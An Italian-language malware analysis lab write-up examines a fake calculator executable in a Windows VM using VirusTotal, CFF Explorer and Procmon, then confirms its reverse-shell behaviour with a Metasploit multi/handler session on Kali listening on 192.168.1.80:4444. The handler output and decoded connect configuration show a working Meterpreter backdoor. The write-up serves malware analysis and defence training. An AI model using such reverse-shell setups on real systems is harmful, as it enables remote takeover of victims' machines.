

Analisi del Malware

Oggi si analizzerà un Malware chiamato **calcolatrice innovativa.exe**.

Per prima cosa creiamo un ambiente sicuro dove inserire l'eseguibile ritenuto malevolo, utilizzeremo una macchina virtuale Windows 10.

Questo ci permette di creare un posto dove mettere e testare file sospetti senza infettare altri dispositivi.

Eseguiamo dei passaggi fondamentali per capire se contiene codice malevolo

Dopo una ricerca su internet

STEP 1 - Analisi Statica di base: esame del codice senza eseguirlo (metadati, struttura del file, stringhe, chiamate sospette)

STEP 2 - Analisi Dinamica di base: si esegue il malware per monitorare le azioni che compie senza connessione a internet

STEP 3 - Analisi Statica avanzata: Decompilazione del codice, analisi pattern (modo in cui ragiona, come si muove, il suo scopo etc)

STEP 4 - Analisi Dinamica avanzata: viene eseguito ma con connessione a internet, rileva le capacità avanzate di eseguire operazioni remote o comunicazione con altri nodi della rete

Si utilizzano i seguenti siti web per verificare la presenza di una componente malevola
(STEP 1)

VirusTotal: E' una piattaforma online che permette di analizzare file sospetti confrontando il codice hash (MD5, SHA-1, SHA-256) con i database di numerosi antivirus e antimalware tra i più popolari. Questo processo aiuta a individuare eventuali minacce alla sicurezza, come malware, virus o altri file dannosi.

CFF EXPLORER: Uno strumento avanzato per analizzare file eseguibili e verificare eventuali interazioni sospette con il sistema operativo, inclusi i registri di Windows. Ideale per esperti di sicurezza informatica e analisti di malware, consente di ispezionare la struttura interna dei file PE (Portable Executable), visualizzare e modificare sezioni del file, controllare le dipendenze e individuare potenziali manipolazioni o accessi non autorizzati ai registri di sistema.

Ecco una immagine di VirusTotal dopo la scansione

59 / 71
Community Score -13

59/71 security vendors flagged this file as malicious

b8ed129eb56c68cec1661206c313c6eab2e20e4b9223336f7edf661c9956e81a
CALC.EXE
Size: 112.50 KB
Last Analysis: 1 hour ago

peexe idle checks-user-input

DETECTION DETAILS RELATIONS ASSOCIATIONS BEHAVIOR COMMUNITY 9

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label trojan.swrort/cryptz Threat categories trojan Family labels swrort cryptz marte

Security vendors' analysis

Alibaba	Trojan:Win32/CobaltStrike.5c89	AliCloud	Backdoor:Win/meterpreter.A
ALYac	Trojan.CryptZ.Marte.1.Gen	Antiy-AVL	Trojan/Win32.Rozena
Arcabit	Trojan.CryptZ.Marte.1.Gen	Avast	Win32:SwPatch [Wrm]
AVG	Win32:SwPatch [Wrm]	Avira (no cloud)	TR/Patched.Gen2

Il sito ha trovato 59 compatibilità su 71, questo significa che questo eseguibile è maligno. Se notiamo la prima riga, quella di Alibaba possiamo notare che il file malevolo potrebbe essere una **BACKDOOR**

Security vendors' analysis

Alibaba	Trojan:Win32/CobaltStrike.5c89	AliCloud	Backdoor:Win/meterpreter.A
---------	--------------------------------	----------	----------------------------

Virus total ci dà un'informazione in più: ci dice cosa potrebbe fare questo Malware

Decoded Text

```
{"Type": "Metasploit Connect", "IP": "192.168.1.80", "Port": 4444}
```

CFF

Con questa immagine possiamo capire quali librerie del sistema operativo, in questo caso Windows, sono state richiamate per eseguire il Malware

CFF Explorer VIII - [calcolatriceinnovativa.exe]

File Settings ?

calcolatriceinnovativa.exe

calcolatriceinnovativa.exe

- SHELL32.dll
- msvcrt.dll
- ADVAPI32.dll
- KERNEL32.dll
- GDI32.dll
- USER32.dll

File: calcolatriceinnovativa.exe

- Dos Header
- Nt Headers
- File Header
- Optional Header
 - Data Directories [x]
- Section Headers [x]
- Import Directory
- Resource Directory
- Debug Directory
- Address Converter
- Dependency Walker
- Hex Editor
- Identifier
- Import Adder
- Quick Disassembler
- Rebuilder
- Resource Editor
- UPX Utility

Property	Value
File Name	C:\Windows\SysWOW64\USER32.dll
File Type	Portable Executable 32
File Info	No match found.
File Size	1.25 MB (1310880 bytes)
PE Size	1.23 MB (1290752 bytes)
Created	Friday 10 July 2015, 12.00.28
Modified	Friday 10 July 2015, 12.00.28
Accessed	Friday 10 July 2015, 12.00.28
MD5	729FE09CBAE7DCCBE43FA83D63A87278
SHA-1	4F4D08483ABE2FC012F80B6E939955EE3C85B05D

Property	Value
CompanyName	Microsoft Corporation
FileDescription	Multi-User Windows USER API Client DLL
FileVersion	10.0.10240.16384 (th1.150709-1700)
InternalName	user32
LegalCopyright	© Microsoft Corporation. All rights reserved.

Dopo aver analizzato attentamente e creato un laboratorio sicuro si testa il programma.

PROCMON: Programma utilizzato per capire ed analizzare le interazioni che il malware ha con il sistema operativo in tempo reale.

Time ...	Process Name	PID	Operation	Path	Result	Detail
16:50:...	Explorer.EXE	3792	Thread Create		SUCCESS	Thread ID: 2720
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\System32\wow64.dll	SUCCESS	Image Base: 0x71e...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\System32\wow64win.dll	SUCCESS	Image Base: 0x71e...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\System32\kernel32.dll	SUCCESS	Image Base: 0x110...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\kernel32.dll	SUCCESS	Image Base: 0x772...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\System32\kernel32.dll	SUCCESS	Image Base: 0x110...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\System32\user32.dll	SUCCESS	Image Base: 0x230...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\System32\wow64cpu.dll	SUCCESS	Image Base: 0x71e...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\kernel32.dll	SUCCESS	Image Base: 0x772...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\KernelBase.dll	SUCCESS	Image Base: 0x779...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\shell32.dll	SUCCESS	Image Base: 0x75d...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\msvcrt.dll	SUCCESS	Image Base: 0x777...
16:50:...	calcolatriceinno...	5100	Thread Create		SUCCESS	Thread ID: 4036
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\windows.stor...	SUCCESS	Image Base: 0x759...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\combase.dll	SUCCESS	Image Base: 0x773...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\rpcrt4.dll	SUCCESS	Image Base: 0x756...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\sspicli.dll	SUCCESS	Image Base: 0x74c...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\cryptbase.dll	SUCCESS	Image Base: 0x74c...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\bcryptprimitiv...	SUCCESS	Image Base: 0x74c...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\sechost.dll	SUCCESS	Image Base: 0x755...
16:50:...	calcolatriceinno...	5100	Thread Create		SUCCESS	Thread ID: 4552
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\advapi32.dll	SUCCESS	Image Base: 0x77b...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\shlwapi.dll	SUCCESS	Image Base: 0x74c...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\gdi32.dll	SUCCESS	Image Base: 0x74d...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\user32.dll	SUCCESS	Image Base: 0x752...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\kernel.appco...	SUCCESS	Image Base: 0x755...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\SHCore.dll	SUCCESS	Image Base: 0x758...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\powrprof.dll	SUCCESS	Image Base: 0x757...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\profapi.dll	SUCCESS	Image Base: 0x755...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\imm32.dll	SUCCESS	Image Base: 0x752...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\msctf.dll	SUCCESS	Image Base: 0x775...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\ws2_32.dll	SUCCESS	Image Base: 0x773...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\nsi.dll	SUCCESS	Image Base: 0x752...
16:50:...	calcolatriceinno...	5100	Load Image	C:\Windows\SysWOW64\mswsock.dll	SUCCESS	Image Base: 0x73d...

Quando avviamo il programma malevolo, senza interazioni con internet, si attiva, crea un socket e cerca di collegarsi con un indirizzo ip ed una porta designata

connect	ip_address: 192.168.1.80
	socket: 152
Nov. 26, 2024, 7:49 p.m.	port: 4444

Un possibile attaccante rimane in ascolto e potrebbe ricevere informazioni o ancora peggio entrare nella macchina e prenderne il controllo.

Con l'utilizzo di una macchina Kali e di Metasploit si testa l'efficienza del malware.

```
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.80:4444
[*] Sending stage (177734 bytes) to 192.168.1.20
[*] Meterpreter session 21 opened (192.168.1.80:4444 → 192.168.1.20:49833) at 2024-11-26 15:51:13 +0100

meterpreter > getuid
Server username: DESKTOP-9K104BT\user
meterpreter > ipconfig

Interface 1
=====
Name       : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU        : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 4
=====
Name       : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:ab:50:6e
MTU        : 1492
IPv4 Address : 192.168.1.20
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::1d5e:7743:ff01:7088
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Come si può notare la connessione è avvenuta con successo, da qui un possibile attaccante potrebbe fare la scalate di privilegi ed aggiungerci backdoor o prendere il controllo.

Considerazioni

I file sospetti devono essere analizzati e testati in ambienti sicuri per evitare un possibile attacco informatico, non bisogna scaricare file da siti non sicuri e prestare attenzione a possibili email di phishing.

Per analizzare un Malware ci vuole tempo ed esperienza, ci si deve far domande sul funzionamento del file come in questo caso, **la calcolatrice perché dovrebbe comunicare con l'esterno?, perché ci sono poche librerie inerenti alla calcolatrice?, perché un dipendente ha scaricato una calcolatrice invece di utilizzare quella già presente nel sistema?**.

Dopo questi procedimenti si lavora per non far causare di nuovo un possibile attacco mettendo delle restrizioni aggiungendo regole più severe sui Firewall e fare corsi sull'ingegneria sociale ai dipendenti.